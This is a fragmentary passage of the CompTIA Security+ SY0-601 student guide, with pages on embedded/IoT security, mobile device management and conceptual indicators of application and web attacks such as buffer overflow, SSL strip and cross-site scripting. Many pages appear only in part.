LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 335
systems, such as forges, mills, and assembly lines. These systems must work to
extremely high precisions.
• Logistics refers to moving things from where they were made or assembled to
where they need to be, either within a factory or for distribution to customers.
Embedded technology is used in control of automated transport and lift systems
plus sensors for component tracking.
ICS/SCADA was historically built without regard to IT security, though there is now high
awareness of the necessity of enforcing security controls to protect them, especially
when they operate in a networked environment.
One infamous example of an attack on an embedded system is the Stuxnet worm (wired.
com/2014/11/countdown-to-zero-day-stuxnet). This was designed to attack the SCADA
management software running on Windows PCs to damage the centrifuges used by Iran's
nuclear fuels program. NIST Special Publication 800-82 covers some recommendations
for implementing security controls for ICS and SCADA (nvlpubs.nist.gov/nistpubs/
SpecialPublications/NIST.SP.800-82r2.pdf).
Internet of Things
The term Internet of Things (IoT) is used to describe a global network of appliances
and personal devices that have been equipped with sensors, software, and network
connectivity. This compute functionality allows these objects to communicate and
pass data between themselves and other traditional systems like computer servers.
This is often referred to as Machine to Machine (M2M) communication. Each “thing” is
identified with some form of unique serial number or code embedded within its own
operating or control system and is able to inter-operate within the existing Internet
infrastructure either directly or via an intermediary. An IoT network will generally use
the following types of components:
• Hub/control system—IoT devices usually require a communications hub to facilitate
Z-Wave or Zigbee networking. There must also be a control system, as most IoT
devices are headless, meaning they have no user control interface. This could be a
smart hub, with voice control, or a smartphone/PC app.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
336 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
• Code injection via the graphical web application interfaces used to configure and
monitor systems. This can be used to perform JavaScript-based attacks, such as
clickjacking and cross-site scripting (XSS).
It is possible that control of these systems could be used to perform some sort of
DoS or ransom demand (consider disrupting HVAC controls within a data center, for
instance). However, as with the Target data breach, the aim is likely to access the
corporate data network from the automation and monitoring system, which may be
accessible via a supplier company (krebsonsecurity.com/tag/fazio-mechanical).
Smart Meters
A smart meter provides continually updating reports of electricity, gas, or water usage
to the supplier, reducing the need for manual inspections. Most meters use cellular
data for communication back to the supplier, and an IoT protocol, such as ZigBee, for
integration with smart appliances.
Surveillance Systems
A physical access control system (PACS) is a network of monitored locks, intruder
alarms, and video surveillance. A PACS can either be implemented as part of a building
automation system or a separate system in its own right. Gaining physical access to
premises, or even just access to video monitoring systems, gives an adversary many
opportunities to develop additional attacks. As with building automation, a PACS is likely to
be installed and maintained by an external supplier. This can lead to it being omitted from
risk and vulnerability assessments, as highlighted by the US Government Accountability
Office's 2014 report into PACS at federal offices (gao.gov/assets/670/667512.pdf).
Physical security systems use networked camera systems (CCTV) for surveillance.
Unfortunately, some makes of camera systems have been found to have numerous
serious vulnerabilities that allow attackers either to prevent intrusions from being
recorded or to hijack the cameras to perform their own surveillance. These issues
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 337
tend to affect cheap consumer-grade systems rather than enterprise models, but in
both cases it is necessary to evaluate the supplier to demonstrate that their security
monitoring and remediation support services are effective.
Specialized Systems in IT
There are also specialized systems installed within office networks, such as printer and
Voice over IP (VoIP) equipment. These systems must not be overlooked by security
monitoring procedures.
Where these devices connect directly to the Internet, a fingerprinting app or website
(shodan.io/explore/tag/voip or shodan.io/explore/tag/printer, for instance) can be used to
probe for unpatched vulnerabilities. There are Shodan queries for any number of IoT and
ICS devices.
Shodan search results for sites responding to probes over port 9100 (TCP port for raw print data).
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
338 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Network Segmentation
Network segmentation is one of the core principles of network security. Network access
for static environments should only be required for applying firmware updates and
management controls from the host software to the devices and for reporting status and
diagnostic information from the devices back to the host software. This control network
should be separated from the corporate network using firewalls and VLANs.
With environments such as SCADA, the management software may require legacy
versions of operating systems, making the hosts particularly difficult to secure. Isolating
these hosts from others through network segmentation and using endpoint security
(preventing the attachment of USB devices) can help to ensure they do not become
infected with malware or exposed to network exploits.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 339
Wrappers
One way of increasing the security of data in transit for embedded systems is through the
use of wrappers, such as IPSec. The only thing visible to an attacker or anyone sniffing
the wire is the IPSec header, which describes only the tunnel endpoints. This is useful
for protecting traffic between trusted networks when the traffic has to go through an
untrusted network to go between them, or between trusted nodes on the same network.
• Many embedded systems require manual updates, which are perceived as too time-
consuming for a security department with other priorities to perform.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
340 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Review Activity:
Embedded System Security Implications
Answer the following questions:
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 341
Lesson 12
Summary
You should be able to apply host hardening policies and technologies and to assess
risks from third-party supply chains and embedded/IoT systems.
• Establish configuration baselines for each host type. Ensure that hosts are deployed
to the configuration baseline and set up monitoring to ensure compliance.
• Configure secure boot options and consider the use of attestation and policy
servers as the basis of a network access control mechanism.
• Establish patch management procedures to test updates for different host groups
and ensure management of both OS and third-party software.
• Create a management plan for any IoT devices used in the workplace and ensure
there is no "shadow IT" deployment of unmanaged appliances.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
Lesson 13
Implementing Secure Mobile Solutions
LESSON INTRODUCTION
Mobile devices are now the preferred client for many common work tasks, and network
management and security systems have had to adapt to accommodate them. The shift
toward mobile also presages a move toward unified management of endpoints, and
the use of virtualized workspaces as a better model for provisioning corporate apps
and data processing.
Lesson Objectives
In this lesson, you will:
• Implement mobile device management.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
344 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Topic 13A
Implement Mobile Device Management
• Choose your own device (CYOD)—much the same as COPE but the employee is
given a choice of device from a list.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 345
• Mobile application management (MAM)—sets policies for apps that can process
corporate data, and prevents data transfer to personal apps. This type of solution
configures an enterprise-managed container or workspace.
Additionally, distinguishing whether client endpoints are mobile or fixed is not really
a critical factor for many of these management tasks, with the consequence that
the latest suites aim for visibility across PC, laptop, smartphone, tablet, and even IoT
devices. These suites are called unified endpoint management (UEM) (redmondmag.
com/Articles/2017/10/01/Unified-Endpoint-Management.aspx).
The core functionality of endpoint management suites extends the concept of
network access control (NAC) solutions. The management software logs the use of a
device on the network and determines whether to allow it to connect or not, based
on administrator-set parameters. When the device is enrolled with the management
software, it can be configured with policies to allow or restrict use of apps, corporate
data, and built-in functions, such as a video camera or microphone.
Some EMM/UEM solutions include AirWatch (air-watch.com), Microsoft Intune
(microsoft.com/en-us/microsoft-365/enterprise-mobility-security/microsoft-intune),
Symantec/Broadcom (broadcom.com/products/cyber-security/endpoint/end-user/
protection-mobile), and Citrix Endpoint Management (formerly XenMobile) (citrix.com/
products/citrix-endpoint-management).
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
346 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Most iOS attacks are the same as with any system; users click malicious links or enter
information into phishing sites, for instance. As a closed and proprietary system, it
should not be possible for malware to infect an iOS device as all code is updated from
Apple's servers only. There remains the risk that a vulnerability in either iOS or an app
could be discovered and exploited. In this event, users would need to update iOS or the
app to a version that mitigates the exploit.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 347
iOS devices are normally updated very quickly. With Android, the situation is less
consistent, as updates often depend on the handset vendor to complete the new
version or issue the patch for their flavor of Android. Android OS is more open and
there is Android malware, though as with Apple it is difficult for would-be hackers and
spammers to get it into any of the major app repositories.
One technique used is called Staged Payloads. The malware writers release an app that
appears innocuous in the store but once installed it attempts to download additional
components infected with malware (zdnet.com/article/android-security-sneaky-three-stage-
malware-found-in-google-play-store). Google has implemented a server-side malware
scanning product (Play Protect) that will both warn users if an app is potentially damaging
and scan apps that have already been purchased, and warn the user if any security issues
have been discovered.
Since version 4.3, Android has been based on Security-Enhanced Linux. SEAndroid
(source.android.com/security/selinux) uses mandatory access control (MAC) policies to
run apps in sandboxes. When the app is installed, access is granted (or not) to specific
shared features, such as contact details, SMS texting, and email.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
348 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Smartphone Authentication
The majority of smartphones and tablets are single-user devices. Access control can be
implemented by configuring a screen lock that can only be bypassed using the correct
password, PIN, or swipe pattern. Many devices now support biometric authentication,
usually as a fingerprint reader but sometimes using facial or voice recognition.
Configuring authentication and profile policies using Intune EMM—Note that the policy allows the user
to have a different type of authentication (or none at all) to the workspace hosting corporate apps
and data. (Screenshot used with permission from Microsoft.)
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 349
Strong passwords should always be set on mobile devices, as simple 4-digit PIN codes can
easily be brute-forced. Swipe patterns are vulnerable to poor user choices (arstechnica.
com/information-technology/2015/08/new-data-uncovers-the-surprising-predictability-of-
android-lock-patterns), such as choosing letter or box patterns, plus the tendency for the
grease trail to facilitate a smudge attack.
Screen Lock
The screen lock can also be configured with a lockout policy. This means that if an
incorrect passcode is entered, the device locks for a set period. This could be configured
to escalate (so the first incorrect attempt locks the device for 30 seconds while the third
locks it for 10 minutes, for instance). This deters attempts to guess the passcode.
Context-Aware Authentication
It is also important to consider newer authentication models, such as context-aware
authentication. For example, smartphones now allow users to disable screen locks
when the device detects that it is in a trusted location, such as the home. Conversely,
an enterprise may seek more stringent access controls to prevent misuse of a device.
For example, even if the device has been unlocked, accessing a corporate workspace
might require the user to authenticate again. It might also check whether the network
connection can be trusted (that it is not an open Wi-FI hotspot, for instance).
Remote Wipe
A remote wipe or kill switch means that if the handset is stolen it can be set to the
factory defaults or cleared of any personal data (sanitization). Some utilities may also
be able to wipe any plug-in memory cards too. The remote wipe could be triggered by
several incorrect passcode attempts or by enterprise management software. Other
features include backing up data from the phone to a server first and displaying a
"Lost/stolen phone—return to XX" message on the handset.
Most corporate messaging systems come with a remote wipe feature (such as this one provided with
Intermedia mail hosting), allowing mail, calendar, and contacts information to be deleted from mobile
devices. (Screenshot used with permission from Intermedia.)
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
350 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
In theory, a thief can prevent a remote wipe by ensuring the phone cannot connect to
the network, then hacking the phone and disabling the security.
• Email data and any apps using the "Data Protection" option are subject to a second
round of encryption using a key derived from and protected by the user's credential.
This provides security for data in the event that the device is stolen. Not all user
data is encrypted using the "Data Protection" option; contacts, SMS messages, and
pictures are not, for example.
Location Services
Geolocation is the use of network attributes to identify (or estimate) the physical
position of a device. The device uses location services to determine its current position.
Location services can make use of two systems:
• Global Positioning System (GPS)—a means of determining the device's latitude and
longitude based on information received from satellites via a GPS sensor.
Location services is available to any app where the user has granted the app
permission to use it.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 351
Using Find My Device to locate an Android smartphone. (Android is a trademark of Google LLC.)
The primary concern surrounding location services is one of privacy. Although very
useful for maps and turn-by-turn navigation, it provides a mechanism to track an
individual's movements, and therefore their social and business habits. The problem
is further compounded by the plethora of mobile apps that require access to location
services and then both send the information to the application developers and store
it within the device's file structure. If an attacker can gain access to this data, then
stalking, social engineering, and even identity theft become real possibilities.
Restricting device permissions such as camera and screen capture using Intune.
(Screenshot used with permission from Microsoft.)
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
352 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
GPS Tagging
GPS tagging is the process of adding geographical identification metadata, such as
the latitude and longitude where the device was located at the time, to media such as
photographs, SMS messages, video, and so on. It allows the app to place the media
at specific latitude and longitude coordinates. GPS tagging is highly sensitive personal
information and potentially confidential organizational data also. GPS tagged pictures
uploaded to social media could be used to track a person's movements and location.
For example, a Russian soldier revealed troop positions by uploading GPS tagged
selfies to Instagram (arstechnica.com/tech-policy/2014/08/opposite-of-opsec-russian-
soldier-posts-selfies-from-inside-ukraine).
Application Management
When a device is joined to the corporate network through enrollment with
management software, it can be configured into an enterprise workspace mode in
which only a certain number of authorized applications can run.
Endpoint management software such as Microsoft Intune can be used to approve or prohibit apps.
(Screenshot used with permission from Microsoft.)
A trusted app source is one that is managed by a service provider. The service provider
authenticates and authorizes valid developers, issuing them with a certificate to use
to sign their apps and warrant them as trusted. It may also analyze code submitted to
ensure that it does not pose a security or privacy risk to its customers (or remove apps
that are discovered to pose such a risk). It may apply other policies that developers
must meet, such as not allowing apps with adult content or apps that duplicate the
function of core OS apps.
The mobile OS defaults to restricting app installations to the linked store (App Store for
iOS and Play for Android). Most consumers are happy with this model but it does not
work so well for enterprises. It might not be appropriate to deliver a custom corporate
app via a public store, where anyone could download it. Apple operates enterprise
developer and distribution programs to solve this problem, allowing private app
distribution via Apple Business Manager (developer.apple.com/business/distribute).
Google's Play store has a private channel option, called Managed Google Play. Both
these options allow an EMM/UEM suite to push apps from the private channel to
the device.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 353
Unlike iOS, Android allows for selection of different stores and installation of untrusted
apps from any third party, if this option is enabled by the user. With unknown sources
enabled, untrusted apps can be downloaded from a website and installed using the
.apk file format. This is referred to as sideloading.
Conversely, a management suite might be used to prevent the use of third-party stores
or sideloading and block unapproved app sources.
Content Management
Containerization allows the employer to manage and maintain the portion of the
device that interfaces with the corporate network. An enterprise workspace with a
defined selection of apps and a separate container is created. This container isolates
corporate apps from the rest of the device. There may be a requirement for additional
authentication to access the workspace.
The container can also enforce storage segmentation. With storage segmentation the
container is associated with a directory on the persistent storage device that is not
readable or writable by apps that are not in the container. Conversely, apps cannot
write to areas outside the container, such as external media or using copy and paste
to a non-container app. App network access might be restricted to a VPN tunneled
through the organization's security system.
The enterprise is thereby able to maintain the security it needs, without having to
enforce policies that affect personal use, apps, or data.
Containerization also assists content management and data loss prevention (DLP)
systems. A content management system tags corporate or confidential data and
prevents it from being shared or copied to unauthorized external media or channels,
such as non-corporate email systems or cloud storage services.
• Carrier unlocking—for either iOS or Android, this means removing the restrictions
that lock a device to a single carrier.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
354 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
If the user has applied a custom firmware image, they could have removed the
protections that enforce segmentation. The device can no longer be assumed to run a
trusted OS.
EMM/UEM has routines to detect a rooted or jailbroken device or custom firmware with
no valid developer code signature and prevent access to an enterprise app, network,
or workspace. Containerization and enterprise workspaces can use cryptography to
protect the workspace in a way that is much harder to compromise than a local agent,
even from a rooted/jailbroken device.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 355
Review Activity:
Mobile Device Management
Answer the following questions:
1. What type of deployment model(s) allow users to select the mobile device
make and model?
3. Company policy requires that you ensure your smartphone is secured from
unauthorized access in case it is lost or stolen. To prevent someone from
accessing data on the device immediately after it has been turned on, what
security control should be used?
4. An employee's car was recently broken into, and the thief stole a company
tablet that held a great deal of sensitive data. You've already taken the
precaution of securing plenty of backups of that data. What should you do
to be absolutely certain that the data doesn't fall into the wrong hands?
5. What is containerization?
7. Why might a company invest in device control software that prevents the
use of recording devices within company premises?
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
356 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Topic 13B
Implement Secure Mobile
Device Connections
Locking down Android connectivity methods with Intune—note that most settings can be applied only
to Samsung KNOX-capable devices. (Screenshot used with permission from Microsoft.)
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 357
individuals can do about these weaknesses. The attacks require a high degree of
sophistication and are relatively uncommon.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
358 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Pairing a computer with a smartphone. (Screenshot used with permission from Microsoft.)
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 359
It is also the case that using a control center toggle may not actually turn off the Bluetooth
radio on a mobile device. If there is any doubt about patch status or exposure to
vulnerabilities, Bluetooth should be fully disabled through device settings.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
360 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
way to exploit NFC by crafting tags to direct the device browser to a malicious web
page where the attacker could try to exploit any vulnerabilities in the browser.
NFC does not provide encryption, so eavesdropping and man-in-the-middle attacks are
possible if the attacker can find some way of intercepting the communication and the
software services are not encrypting the data.
The widest application of NFC is to make payments via contactless point-of-sale (PoS)
machines. To configure a payment service, the user enters their credit card information
into a mobile wallet app on the device. The wallet app does not transmit the original
credit card information, but a one-time token that is interpreted by the card merchant
and linked backed to the relevant customer account. There are three major mobile
wallet apps: Apple Pay, Google Pay (formerly Android Pay), and Samsung Pay.
Despite having a close physical proximity requirement, NFC is vulnerable to several
types of attacks. Certain antenna configurations may be able to pick up the RF signals
emitted by NFC from several feet away, giving an attacker the ability to eavesdrop
from a more comfortable distance. An attacker with a reader may also be able to skim
information from an NFC device in a crowded area, such as a busy train. An attacker
may also be able to corrupt data as it is being transferred through a method similar
to a DoS attack—by flooding the area with an excess of RF signals to interrupt the
transfer.
Skimming a credit or bank card will give the attacker the long card number and expiry date.
Completing fraudulent transactions directly via NFC is much more difficult as the attacker
would have to use a valid merchant account and fraudulent transactions related to that
account would be detected very quickly.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 361
group messaging/calling, and read receipts. RCS is supported by carriers via Universal
Profile for Advanced Messaging (gsma.com/futurenetworks/digest/universal-profile-
version-2-0-advanced-rcs-messaging). The main drawbacks of RCS are that carrier
support is patchy (messages fallback to SMS if RCS is not supported) and there is no
end-to-end encryption, at the time of writing (theverge.com/2020/5/27/21271186/
google-rcs-t-mobile-encryption-ccmi-universal-profile).
Vulnerabilities in processing attachments and rich formatting have resulted in DoS
attacks against certain handsets in the past, so it is important to keep devices patched
against known threats.
Push notifications are store services (such as Apple Push Notification Service and
Google Cloud to Device Messaging) that an app or website can use to display an alert
on a mobile device. Users can choose to disable notifications for an app, but otherwise
the app developer can target notifications to some or all users with that app installed.
Developers need to take care to properly secure the account and services used to
send push notifications. There have been examples in the past of these accounts being
hacked and used to send fake communications.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
362 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
as an intercepting antenna would have to be positioned within the direct path. The
satellite modems or routers are also normally paired to one another and can use
over-the-air encryption to further mitigate against snooping attacks.
Multipoint can be used in other contexts. For example, Bluetooth supports a multipoint
mode. This can be used to connect a headset to multiple sources (a PC and a
smartphone, for instance) simultaneously.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 363
Review Activity:
Secure Mobile Device Connections
Answer the following questions:
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
364 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Lesson 13
Summary
You should be able to use endpoint management solutions to apply device and
application enforcement and monitoring and understand risks from mobile connection
methods and other technologies.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
Lesson 14
Summarizing Secure
Application Concepts
LESSON INTRODUCTION
Automation strategies for resiliency, disaster recovery, and incident response
put development (programming and scripting) at the heart of secure network
administration and operations (DevSecOps). As well as automating operations, more
companies are having to maintain bespoke code in customer-facing software, such as
web applications. Consequently, secure application development is a competency that
will only grow in importance over the course of your career.
Lesson Objectives
In this lesson, you will:
• Analyze indicators of application attacks.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
366 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Topic 14A
Analyze Indicators
of Application Attacks
Attacks against desktop and server applications allow threat actors to run arbitrary
code on trusted hosts, allowing them to gain a foothold on the network or move
laterally within it. With sufficient privileges and access, an attacker can quickly move to
compromising data assets or causing denial of service against critical servers. Not all
of these attacks will be detected automatically, so as a security professional, you must
be able to identify indicators of arbitrary code execution and privilege escalation from
your host monitoring and logging systems.
Application Attacks
An application attack targets a vulnerability in OS or application software. An
application vulnerability is a design flaw that can cause the application security system
to be circumvented or that will cause the application to crash.
Privilege Escalation
The purpose of most application attacks is to allow the threat actor to run his or her
own code on the system. This is referred to as arbitrary code execution. Where the
code is transmitted from one machine to another, it can be referred to as remote code
execution. The code would typically be designed to install some sort of backdoor or to
disable the system in some way (denial of service).
An application or process must have privileges to read and write data and execute
functions. Depending on how the software is written, a process may run using a system
account, the account of the logged-on user, or a nominated account. If a software exploit
works, the attacker may be able to execute arbitrary code with the same privilege level as
the exploited process. There are two main types of privilege escalation:
• Vertical privilege escalation (or elevation) is where a user or application can
access functionality or data that should not be available to them. For instance, a
process might run with local administrator privileges, but a vulnerability allows the
arbitrary code to run with higher system privileges.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 367
Error Handling
An application attack may cause an error message. In Windows, this may be of the
following types: "Instruction could not be read or written," "Undefined exception,"
or "Process has encountered a problem." One issue for error handling is that the
application should not reveal configuration or platform details that could help an
attacker. For example, an unhandled exception on a web application might show an
error page that reveals the type and configuration of a database server.
Overflow Vulnerabilities
In an overflow attack, the threat actor submits input that is too large to be stored in
a variable assigned by the application. Some of the general overflow vulnerabilities
are discussed here. To keep up to date with specific attack methods and new types of
attack, monitor a site such as OWASP (owasp.org/www-community/attacks). Ideally, the
code used to attempt these attacks will be identified by network IDS or by an endpoint
protection agent. Unsuccessful attempts may be revealed through unexplained crashes
or error messages following a file download, execution of a new app or a script, or
connection of new hardware.
Buffer Overflow
A buffer is an area of memory that the application reserves to store expected data. To
exploit a buffer overflow vulnerability, the attacker passes data that deliberately overfills
the buffer. One of the most common vulnerabilities is a stack overflow. The stack is an
area of memory used by a program subroutine. It includes a return address, which is the
location of the program that called the subroutine. An attacker could use a buffer overflow
to change the return address, allowing the attacker to run arbitrary code on the system.
When executed normally, a function will return control to the calling function. If the code
is vulnerable, an attacker can pass malicious data to the function, overflow the stack,
and run arbitrary code to gain a shell on the target system.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
368 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Integer Overflow
An integer is a positive or negative number with no fractional component (a whole
number). Integers are widely used as a data type, where they are commonly defined
with fixed lower and upper bounds. An integer overflow attack causes the target
software to calculate a value that exceeds these bounds. This may cause a positive
number to become negative (changing a bank debit to a credit, for instance). It could
also be used where the software is calculating a buffer size; if the attacker is able to
make the buffer smaller than it should be, he or she may then be able to launch a
buffer overflow attack.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 369
malicious process could spawn multiple looping threads to use up CPU time, or write
thousands of files to disk. Distributed attacks against network applications perform a
type of resource exhaustion attack by starting but not completing sessions, causing
the application to fill up its state table, leaving no opportunities for genuine clients
to connect.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
370 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Pass the hash is relatively difficult to detect, as it exploits legitimate network behavior.
A detection system can be configured to correlate a sequence of security log events
using NTLM-type authentication, but this method can be prone to false positives
(blog.stealthbits.com/how-to-detect-pass-the-hash-attacks/).
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 371
Review Activity:
Indicators of Application Attacks
Answer the following questions:
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
372 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Topic 14B
Analyze Indicators of Web
Application Attacks
A web application exposes many interfaces to public networks. Attackers can exploit
vulnerabilities in server software and in client browser security to perform injection
and session hijacking attacks that compromise data confidentiality and integrity.
Understanding how the vectors and vulnerabilities exploited by these attacks will help
you to identify and remediate configuration weaknesses in your systems.
HTTP Methods
As part of URL analysis, it is important to understand how HTTP operates. An HTTP
session starts with a client (a user-agent, such as a web browser) making a request to
an HTTP server. The connection establishes a TCP connection. This TCP connection can
be used for multiple requests, or a client can start new TCP connections for different
requests. A request typically comprises a method, a resource (such as a URL path),
version number, headers, and body. The principal method is GET, used to retrieve a
resource. Other methods include:
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 373
Percent Encoding
A URL can contain only unreserved and reserved characters from the ASCII set.
Reserved ASCII characters are used as delimiters within the URL syntax and should only
be used unencoded for those purposes. The reserved characters are:
: / ? # [ ] @ ! $ & ' ( ) * + , ; =
There are also unsafe characters, which cannot be used in a URL. Control characters,
such as null string termination, carriage return, line feed, end of file, and tab, are
unsafe. Percent encoding allows a user-agent to submit any safe or unsafe character
(or binary data) to the server within the URL. Its legitimate uses are to encode reserved
characters within the URL when they are not part of the URL syntax and to submit
Unicode characters. Percent encoding can be misused to obfuscate the nature of a URL
(encoding unreserved characters) and submit malicious input. Percent encoding can
exploit weaknesses in the way the server application performs decoding. Consequently,
URLs that make unexpected or extensive use of percent encoding should be treated
carefully. You can use a resource such as W3 Schools (w3schools.com/tags/ref_
urlencode.asp) for a complete list of character codes, but it is helpful to know some of
the characters most widely used in exploits.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
374 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
• Lack of input validation, allowing the threat actor to insert arbitrary parameters into
API methods and queries. This is often referred to as allowing unsanitized input.
• Denial of service (DoS) by bombarding the API with spurious calls. Protection against
this attack can be provided through throttling/rate-limiting mechanisms.
Replay Attacks
Session management enables web applications to uniquely identify a user across
a number of different actions and requests. Session management is particularly
important when it comes to user authentication, as it is required to ensure the integrity
of the account and the confidentiality of data associated with it. Session management
is often vulnerable to different kinds of replay attack. To establish a session, the
server normally gives the client some type of token. A replay attack works by
sniffing or guessing the token value and then submitting it to re-establish the session
illegitimately.
HTTP is nominally a stateless protocol, meaning that the server preserves no
information about the client, but mechanisms such as cookies have been developed
to preserve stateful data. A cookie is created when the server sends an HTTP response
header with the cookie data. A cookie has a name and value, plus optional security and
expiry attributes. Subsequent request headers sent by the client will usually include
the cookie. Cookies are either nonpersistent (session) cookies, in which case they are
stored in memory and deleted when the browser instance is closed, or persistent, in
which case they are stored in the browser cache until deleted by the user or pass a
defined expiration date.
If cookies are used to store confidential information, the web application should
encrypt them before sending them to the client. If using TLS, information in a cookie
would be secure in transit but reside on the client computer in plaintext, unless it had
been separately encrypted. The value can be any URL-safe encoded string in whatever
format and structure the application uses for parsing.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 375
Viewing cookies set by Google's home page using the Firefox browser's Inspector tools. These cookies
are not used for authentication, but they do track whether the user has visited the site before. The
CONSENT cookie tracks whether the user has agreed to the terms and conditions of use.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
376 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Clickjacking
Clickjacking is an attack where what the user sees and trusts as a web application
with some sort of login page or form contains a malicious layer or invisible iFrame
that allows an attacker to intercept or redirect user input. Clickjacking can be launched
using any type of compromise that allows the adversary to run arbitrary code as a
script. Clickjacking can be mitigated by using HTTP response headers that instruct the
browser not to open frames from different origins (domains) and by ensuring that any
buttons or input boxes on a page are positioned on the top-most layer.
SSL Strip
A Secure Sockets Layer (SSL) strip attack is launched against clients on a local network
as they try to make connections to websites. The threat actor must first perform a
Man-in-the-Middle attack via ARP poisoning to masquerade as the default gateway.
When a client requests an HTTP site that redirects to an HTTPS site in an unsafe way,
the sslstrip utility (tools.kali.org/information-gathering/sslstrip) proxies the request and
response, serving the client the HTTP site, hopefully with an unencrypted login form. If
the user enters credentials, they will be captured by the threat actor. Sites can use the
HTTP Strict Transport Security (HSTS) lists maintained by browsers to prevent clients
requesting HTTP in the first place.
Cross-Site Scripting
Web applications depend on scripting, and most websites these days are web
applications rather than static web pages. If the user attempts to disable scripting,
very few sites will be left available. A cross-site scripting (XSS) attack exploits the fact
that the browser is likely to trust scripts that appear to come from a site the user has
chosen to visit. XSS inserts a malicious script that appears to be part of the trusted site.
A nonpersistent type of XSS attack would proceed as follows:
1. The attacker identifies an input validation vulnerability in the trusted site.
